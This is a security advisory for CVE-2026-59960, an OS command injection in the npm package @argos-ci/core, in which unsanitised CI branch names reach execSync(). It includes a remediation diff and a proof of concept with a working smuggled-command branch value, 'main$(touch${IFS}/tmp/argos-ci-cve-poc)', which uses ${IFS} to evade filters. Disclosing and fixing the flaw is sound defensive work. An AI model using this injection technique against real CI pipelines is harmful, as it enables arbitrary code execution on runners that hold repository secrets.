@argos-ci/core
Affected
- introduced
0, fixed6.2.1(semver)
Fixed versions
6.2.1
Fix
- Fixed version
6.2.1npm install @argos-ci/[email protected]
Advisory
Also known as: CVE-2026-59960
@argos-ci/core: CI Branch Name OS Command Injection
CI Branch Name OS Command Injection in @argos-ci/core
Summary
@argos-ci/[email protected] passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).
Details
The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:
function gitFetch(input: { ref: string; depth: number; target: string }) {
execSync(
`git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
);
}
execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.
A secondary sink exists at packages/core/src/ci-environment/git.ts:67:
execSync(`git merge-base ${input.head} ${input.base}`)
Complete data flow (source → sink):
packages/core/src/ci-environment/services/github-actions.ts:104 — reads env.GITHUB_HEAD_REF without validation (source).packages/core/src/ci-environment/services/github-actions.ts:165 — returns the branch from the CI context.packages/core/src/ci-environment/services/github-actions.ts:330 — stores the value as branch.packages/core/src/config.ts:119-123 — loads ciEnv?.branch into config.branch; only format: String is applied, no sanitization.packages/core/src/upload.ts:285 — calls getMergeBaseCommitSha({ base, head: config.branch }) when the API returns hasRemoteContentAccess: false.packages/core/src/ci-environment/git.ts:123 — passes attacker-controlled value as ref to gitFetch().packages/core/src/ci-environment/git.ts:89 — sink: execSync( git fetch ... origin ${input.ref}:${input.target} ).There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:
-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";
function gitFetch(input: { ref: string; depth: number; target: string }) {
- execSync(
- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
- );
+ execFileSync("git", [
+ "fetch", "--force", "--update-head-ok",
+ "--depth", String(input.depth),
+ "origin", `${input.ref}:${input.target}`,
+ ]);
}
function gitMergeBase(input: { base: string; head: string }) {
- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
}
PoC
Prerequisites:
node:22 and install @argos-ci/[email protected] from npm.Step 1 — Build the Docker image:
docker build -t argos-vuln-001 \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/npmAI_634_argos-ci__argos-javascript/
The Dockerfile:
node:22 as the base./remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.@argos-ci/[email protected] (which depends on @argos-ci/[email protected]) globally from the public npm registry.poc.py as the container entrypoint.Step 2 — Run the container:
docker run --rm argos-vuln-001
What the PoC (`poc.py`) does:
127.0.0.1:7777 that returns {"hasRemoteContentAccess": false} for GET /v2/project, activating the getMergeBaseCommitSha() code path.ARGOS_BRANCH to main$(touch${IFS}/tmp/argos-ci-cve-poc). $(...) is shell command substitution. ${IFS} expands to a space character, bypassing naive space-based filters, making the injected command touch /tmp/argos-ci-cve-poc.argos upload <empty-dir> --files '*.png' with the malicious environment./tmp/argos-ci-cve-poc.Expected output:
============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================
The marker file is created *before* git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
if (req.url === '/v2/project') {
res.writeHead(200, {'content-type':'application/json'});
res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
return;
}
res.writeHead(200, {'content-type':'application/json'});
res.end('{}');
}).listen(7777);
" &
mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/[email protected] upload empty --files '*.png' || true
test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"
Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
@argos-ci/core (or the CLI @argos-ci/cli) in a CI pipeline where the project's Argos configuration has hasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.pull_request_target or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.High Basis: The source's own band: HIGH
0, fixed 6.2.1 (semver)6.2.1
6.2.1npm install @argos-ci/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0